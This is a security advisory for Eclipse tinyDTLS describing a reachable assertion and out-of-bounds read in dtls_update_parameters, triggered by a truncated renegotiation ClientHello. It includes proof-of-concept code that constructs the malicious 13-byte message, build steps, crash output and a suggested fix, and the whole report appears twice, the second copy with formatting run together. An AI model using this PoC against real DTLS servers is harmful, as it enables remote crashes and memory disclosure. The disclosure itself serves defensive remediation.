1. Report Metadata
| Field |
Value |
| Project |
Eclipse tinyDTLS |
| Title |
Reachable assertion / out-of-bounds read in dtls_update_parameters via short renegotiation ClientHello |
| Affected component |
dtls.c |
| Affected function |
dtls_update_parameters() |
| Affected role |
DTLS server (renegotiation path) |
| Tested version |
v0.9-rc1-214-g6f4f604 (commit 6f4f604, main) |
| Suggested CWE |
CWE-617 (Reachable Assertion), CWE-125 (Out-of-bounds Read) |
| Impact class |
Remote Denial of Service (crash); remote memory disclosure (OOB read) |
vuln_001_short_client_hello_assert.zip
2. Executive Summary
Eclipse tinyDTLS is a small DTLS 1.2 implementation targeting constrained
devices. The server-side handshake parameter update function
dtls_update_parameters() guards a critical length precondition with a C
assert() macro instead of a runtime check that returns an error.
When the library is built with assertions enabled (the default debug
configuration), a remote, authenticated peer can send a truncated
ClientHello during renegotiation and trigger the assertion, causing the
server process to abort (SIGABRT). This is a remote denial-of-service
vulnerability: a single UDP datagram crashes the server.
When the library is built with NDEBUG defined (a common release
configuration), the assertion is compiled out and the same input causes
the function to read 32 bytes from memory beyond the end of the
ClientHello buffer. The over-read data is copied into the handshake
state's client_random field and used in subsequent PRF computations.
This is a remote out-of-bounds read (CWE-125) that can leak sensitive
heap or stack memory into derived key material.
3. Vulnerability Overview
The vulnerable code is in dtls_update_parameters():
@tinydtls/dtls.c:1366-1378
dtls_handshake_parameters_t *config = peer->handshake_params;
assert(config);
assert(data_length > DTLS_HS_LENGTH + DTLS_CH_LENGTH);
/* skip the handshake header and client version information */
data += DTLS_HS_LENGTH + sizeof(uint16);
data_length -= DTLS_HS_LENGTH + sizeof(uint16);
/* store client random in config */
memcpy(config->tmp.random.client, data, DTLS_RANDOM_LENGTH);
data += DTLS_RANDOM_LENGTH;
data_length -= DTLS_RANDOM_LENGTH;
The flawed check is line 1369:
assert(data_length > DTLS_HS_LENGTH + DTLS_CH_LENGTH);
assert() is a debug-only macro; with NDEBUG defined it expands to
((void)0) and the check vanishes. The subsequent memcpy on line
1376 copies DTLS_RANDOM_LENGTH (32) bytes from data + 14 without
verifying that data_length is large enough to hold them. When
data_length is smaller than 46, the memcpy reads past the end of
the caller's buffer.
The PoC exercises this by calling handle_verified_client_hello()
(which calls dtls_update_parameters()) with a 13-byte ClientHello
handshake message — well below the 46-byte threshold.
4. Technical Root Cause
Call chain
The renegotiation path reaches dtls_update_parameters() as follows:
dtls_handle_message() — @tinydtls/dtls.c:4627
iterates over DTLS records in the input datagram.
- For an established peer, the record is decrypted and the handshake
fragment is dispatched to handle_handshake().
handle_handshake() — @tinydtls/dtls.c:4310
validates the handshake header and calls handle_handshake_msg().
handle_handshake_msg() — @tinydtls/dtls.c:4345-4355
checks fragment_length + DTLS_HS_LENGTH == data_length but
imposes no minimum length:
@tinydtls/dtls.c:4345-4355
packet_length = dtls_uint24_to_int(hs_header->length);
fragment_length = dtls_uint24_to_int(hs_header->fragment_length);
fragment_offset = dtls_uint24_to_int(hs_header->fragment_offset);
if (packet_length != fragment_length || fragment_offset != 0) {
dtls_warn("No fragment support (yet)\n");
return dtls_alert_fatal_create(DTLS_ALERT_HANDSHAKE_FAILURE);
}
if (fragment_length + DTLS_HS_LENGTH != data_length) {
dtls_warn("Fragment size does not match packet size\n");
return dtls_alert_fatal_create(DTLS_ALERT_HANDSHAKE_FAILURE);
}
- For a
DTLS_HT_CLIENT_HELLO received while the peer is in
DTLS_STATE_CONNECTED (renegotiation), the message is dispatched to
handle_verified_client_hello():
@tinydtls/dtls.c:4134-4157
case DTLS_HT_CLIENT_HELLO:
if (state != DTLS_STATE_CONNECTED) {
return dtls_alert_fatal_create(DTLS_ALERT_UNEXPECTED_MESSAGE);
}
...
if (!peer->handshake_params) {
dtls_handshake_header_t *hs_header = DTLS_HANDSHAKE_HEADER(data);
peer->handshake_params = dtls_handshake_new();
...
}
err = handle_verified_client_hello(ctx, peer, data, data_length);
handle_verified_client_hello() — @tinydtls/dtls.c:3871
immediately calls dtls_update_parameters() with no additional
length check:
@tinydtls/dtls.c:3859-3871
static int
handle_verified_client_hello(dtls_context_t *ctx, dtls_peer_t *peer,
uint8 *data, size_t data_length) {
clear_hs_hash(peer);
...
int err = dtls_update_parameters(ctx, peer, data, data_length);
5. Proof of Concept
The PoC (poc.c) is a single translation unit that #includes
dtls.c directly to reach the static function
handle_verified_client_hello(). It runs two tests:
Test 1 sends a 27-byte epoch-0 ClientHello (body = 2 bytes, well
below the 46-byte threshold) through dtls_handle_message(). The
cookie code rejects it gracefully — no crash. This demonstrates that
the epoch-0 path is not exploitable.
Test 2 simulates a renegotiation: it creates a peer in
DTLS_STATE_CONNECTED, then calls handle_verified_client_hello()
with a 13-byte ClientHello. The 13-byte message is placed between
two canary regions on the stack so that the OOB read is observable.
The malicious input is constructed as:
uint8 canary_pre[32]; /* filled with 0xAA */
uint8 msg[13];
uint8 canary_post[64]; /* filled with 0xBB */
uint8 *p = msg;
p = put_handshake_header(p, DTLS_HT_CLIENT_HELLO, (uint24){1}, 5,
(uint24){0}, (uint24){1});
*p++ = 0x00; /* 1-byte body */
/* msg is now 13 bytes: 12-byte HS header + 1 byte body */
/* fragment_length=1, so fragment_length + DTLS_HS_LENGTH = 13 = data_length */
int rc = handle_verified_client_hello(ctx, peer, msg, 13);
After the call, the PoC inspects peer->handshake_params->tmp.random.client.
If the 32-byte buffer contains canary bytes (0xAA), the OOB read is
confirmed.
6. Build & Run
Working directory:
tinydtls/vuln_001_short_client_hello_assert/
Debug build (assertions ON — demonstrates crash)
cmake -B build -S .
cmake --build build -j$(nproc)
./build/vuln_poc_short_client_hello_assert
Expected output (debug):
tinydtls PoC — Finding 1: dtls_update_parameters assert-only guard
=============================================================
DTLS_HS_LENGTH = 12
DTLS_CH_LENGTH = 34
DTLS_RANDOM_LENGTH = 32
HS+CH = 46
Build mode = debug (assertions ON)
=== Test 1: epoch-0 short ClientHello (expect: NO crash) ===
sending 27-byte record (body=2, below HS+CH=46)
Jun 23 06:42:13 WARN No fragment support (yet)
dtls_handle_message returned 0 (no crash -> epoch-0 path is safe)
=== Test 2: renegotiation short ClientHello (expect: CRASH) ===
calling handle_verified_client_hello with 13-byte ClientHello
(DTLS_HS_LENGTH+DTLS_CH_LENGTH = 46, assert requires > 46)
data_length=13 <= 46 => assert FAILS (debug) or OOB read (NDEBUG)
[debug] assertions enabled - expecting SIGABRT from assert()
vuln_poc_short_client_hello_assert: tinydtls/dtls.c:1369: dtls_update_parameters: Assertion `data_length > DTLS_HS_LENGTH + DTLS_CH_LENGTH' failed.
已中止 (核心已转储)
Exit code: 134 (SIGABRT).
Release build (NDEBUG — demonstrates OOB read)
cmake -B build_rel -S . -DCMAKE_BUILD_TYPE=Release
cmake --build build_rel -j$(nproc)
./build_rel/vuln_poc_short_client_hello_assert
Expected output (NDEBUG):
tinydtls PoC — Finding 1: dtls_update_parameters assert-only guard
=============================================================
DTLS_HS_LENGTH = 12
DTLS_CH_LENGTH = 34
DTLS_RANDOM_LENGTH = 32
HS+CH = 46
Build mode = NDEBUG (assertions OFF)
=== Test 1: epoch-0 short ClientHello (expect: NO crash) ===
sending 27-byte record (body=2, below HS+CH=46)
dtls_handle_message returned 0 (no crash -> epoch-0 path is safe)
=== Test 2: renegotiation short ClientHello (expect: CRASH) ===
calling handle_verified_client_hello with 13-byte ClientHello
(DTLS_HS_LENGTH+DTLS_CH_LENGTH = 46, assert requires > 46)
data_length=13 <= 46 => assert FAILS (debug) or OOB read (NDEBUG)
[NDEBUG] assertions disabled - OOB read will copy canary bytes
handle_verified_client_hello returned -552
client random buffer changed by OOB read: YES (OOB read confirmed)
client random now contains bytes copied from beyond msg[]:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa00
canary_pre corrupted: no
canary_post corrupted: no
*** OOB READ CONFIRMED (CWE-125) ***
Done.
Exit code: 0 (the OOB read does not crash; it silently copies
out-of-bounds memory into the handshake state).
The 0xAA bytes in the client random prove that 62 bytes were read
from the canary_pre stack region (which lies adjacent to msg on
the stack) and 2 trailing zero bytes came from beyond the canary.
7. Impact
Attacker position: An authenticated remote peer who has completed
a DTLS handshake with the server. No man-in-the-middle position is
required — the attacker is a legitimate client.
Debug builds (assertions enabled):
- Remote DoS via crash. A single 13-byte UDP datagram containing
a truncated ClientHello triggers assert() → SIGABRT. The server
process terminates immediately. On constrained devices running
tinyDTLS, this typically takes down the entire application.
- CWE-617 (Reachable Assertion).
Release builds (NDEBUG):
- Remote out-of-bounds read. 32 bytes are read from memory beyond
the ClientHello buffer and stored in config->tmp.random.client.
This field feeds the DTLS PRF, so the over-read data influences
derived key material. Depending on heap/stack layout, the leaked
bytes may contain sensitive data from other connections, private
keys, or stack frames.
- CWE-125 (Out-of-bounds Read).
- The over-read also corrupts the handshake:
data_length underflows
(unsigned) on line 1373/1378, causing subsequent SKIP_VAR_FIELD
calls to read further out of bounds or return a fatal alert. This
can cascade into additional memory-safety violations.
Severity: High. Remote, unauthenticated in the sense that any
peer who can complete a handshake (the normal case for a DTLS server)
can trigger the bug. No special privileges required.
8. Remediation
Replace the assert() on line 1369 with a runtime check that returns
a fatal alert:
@tinydtls/dtls.c:1368-1369
assert(config);
assert(data_length > DTLS_HS_LENGTH + DTLS_CH_LENGTH);
Suggested fix:
if (!config) {
dtls_warn("handshake parameters not initialized\n");
return dtls_alert_fatal_create(DTLS_ALERT_INTERNAL_ERROR);
}
if (data_length <= DTLS_HS_LENGTH + DTLS_CH_LENGTH) {
dtls_warn("ClientHello too short: %zu bytes (need > %zu)\n",
data_length, (size_t)(DTLS_HS_LENGTH + DTLS_CH_LENGTH));
return dtls_alert_fatal_create(DTLS_ALERT_HANDSHAKE_FAILURE);
}
This converts both the config assertion and the length assertion
into proper error returns, so the function fails safely in both debug
and release builds.
Additional hardening: The caller handle_handshake_msg()
(@tinydtls/dtls.c:4352) should also
enforce a minimum data_length for DTLS_HT_CLIENT_HELLO before
dispatching to handle_verified_client_hello(), providing
defense-in-depth.
Temporary mitigation: Building tinyDTLS with assertions enabled
(-UNDEBUG) converts the OOB read into a crash, preventing memory
disclosure but leaving the DoS vector open. This is not a complete
fix.
9. References
1. Report Metadata
dtls_update_parametersvia short renegotiation ClientHellodtls.cdtls_update_parameters()v0.9-rc1-214-g6f4f604(commit6f4f604,main)vuln_001_short_client_hello_assert.zip
2. Executive Summary
Eclipse tinyDTLS is a small DTLS 1.2 implementation targeting constrained
devices. The server-side handshake parameter update function
dtls_update_parameters()guards a critical length precondition with a Cassert()macro instead of a runtime check that returns an error.When the library is built with assertions enabled (the default debug
configuration), a remote, authenticated peer can send a truncated
ClientHello during renegotiation and trigger the assertion, causing the
server process to abort (
SIGABRT). This is a remote denial-of-servicevulnerability: a single UDP datagram crashes the server.
When the library is built with
NDEBUGdefined (a common releaseconfiguration), the assertion is compiled out and the same input causes
the function to read 32 bytes from memory beyond the end of the
ClientHello buffer. The over-read data is copied into the handshake
state's
client_randomfield and used in subsequent PRF computations.This is a remote out-of-bounds read (CWE-125) that can leak sensitive
heap or stack memory into derived key material.
3. Vulnerability Overview
The vulnerable code is in
dtls_update_parameters():@tinydtls/dtls.c:1366-1378
The flawed check is line 1369:
assert()is a debug-only macro; withNDEBUGdefined it expands to((void)0)and the check vanishes. The subsequentmemcpyon line1376 copies
DTLS_RANDOM_LENGTH(32) bytes fromdata + 14withoutverifying that
data_lengthis large enough to hold them. Whendata_lengthis smaller than 46, thememcpyreads past the end ofthe caller's buffer.
The PoC exercises this by calling
handle_verified_client_hello()(which calls
dtls_update_parameters()) with a 13-byte ClientHellohandshake message — well below the 46-byte threshold.
4. Technical Root Cause
Call chain
The renegotiation path reaches
dtls_update_parameters()as follows:dtls_handle_message()—@tinydtls/dtls.c:4627iterates over DTLS records in the input datagram.
fragment is dispatched to
handle_handshake().handle_handshake()—@tinydtls/dtls.c:4310validates the handshake header and calls
handle_handshake_msg().handle_handshake_msg()—@tinydtls/dtls.c:4345-4355checks
fragment_length + DTLS_HS_LENGTH == data_lengthbutimposes no minimum length:
@tinydtls/dtls.c:4345-4355
DTLS_HT_CLIENT_HELLOreceived while the peer is inDTLS_STATE_CONNECTED(renegotiation), the message is dispatched tohandle_verified_client_hello():@tinydtls/dtls.c:4134-4157
handle_verified_client_hello()—@tinydtls/dtls.c:3871immediately calls
dtls_update_parameters()with no additionallength check:
@tinydtls/dtls.c:3859-3871
5. Proof of Concept
The PoC (
poc.c) is a single translation unit that#includesdtls.cdirectly to reach the static functionhandle_verified_client_hello(). It runs two tests:Test 1 sends a 27-byte epoch-0 ClientHello (body = 2 bytes, well
below the 46-byte threshold) through
dtls_handle_message(). Thecookie code rejects it gracefully — no crash. This demonstrates that
the epoch-0 path is not exploitable.
Test 2 simulates a renegotiation: it creates a peer in
DTLS_STATE_CONNECTED, then callshandle_verified_client_hello()with a 13-byte ClientHello. The 13-byte message is placed between
two canary regions on the stack so that the OOB read is observable.
The malicious input is constructed as:
After the call, the PoC inspects
peer->handshake_params->tmp.random.client.If the 32-byte buffer contains canary bytes (
0xAA), the OOB read isconfirmed.
6. Build & Run
Working directory:
tinydtls/vuln_001_short_client_hello_assert/Debug build (assertions ON — demonstrates crash)
Expected output (debug):
Exit code: 134 (
SIGABRT).Release build (NDEBUG — demonstrates OOB read)
Expected output (NDEBUG):
Exit code: 0 (the OOB read does not crash; it silently copies
out-of-bounds memory into the handshake state).
The
0xAAbytes in the client random prove that 62 bytes were readfrom the
canary_prestack region (which lies adjacent tomsgonthe stack) and 2 trailing zero bytes came from beyond the canary.
7. Impact
Attacker position: An authenticated remote peer who has completed
a DTLS handshake with the server. No man-in-the-middle position is
required — the attacker is a legitimate client.
Debug builds (assertions enabled):
a truncated ClientHello triggers
assert()→SIGABRT. The serverprocess terminates immediately. On constrained devices running
tinyDTLS, this typically takes down the entire application.
Release builds (
NDEBUG):the ClientHello buffer and stored in
config->tmp.random.client.This field feeds the DTLS PRF, so the over-read data influences
derived key material. Depending on heap/stack layout, the leaked
bytes may contain sensitive data from other connections, private
keys, or stack frames.
data_lengthunderflows(unsigned) on line 1373/1378, causing subsequent
SKIP_VAR_FIELDcalls to read further out of bounds or return a fatal alert. This
can cascade into additional memory-safety violations.
Severity: High. Remote, unauthenticated in the sense that any
peer who can complete a handshake (the normal case for a DTLS server)
can trigger the bug. No special privileges required.
8. Remediation
Replace the
assert()on line 1369 with a runtime check that returnsa fatal alert:
@tinydtls/dtls.c:1368-1369
Suggested fix:
This converts both the
configassertion and the length assertioninto proper error returns, so the function fails safely in both debug
and release builds.
Additional hardening: The caller
handle_handshake_msg()(
@tinydtls/dtls.c:4352) should alsoenforce a minimum
data_lengthforDTLS_HT_CLIENT_HELLObeforedispatching to
handle_verified_client_hello(), providingdefense-in-depth.
Temporary mitigation: Building tinyDTLS with assertions enabled
(
-UNDEBUG) converts the OOB read into a crash, preventing memorydisclosure but leaving the DoS vector open. This is not a complete
fix.
9. References
section 4.2.8 (Rehandshake) and section 4.2.1 (Denial-of-Service
Countermeasures).
https://github.com/eclipse/tinydtls6f4f604(v0.9-rc1-214-g6f4f604)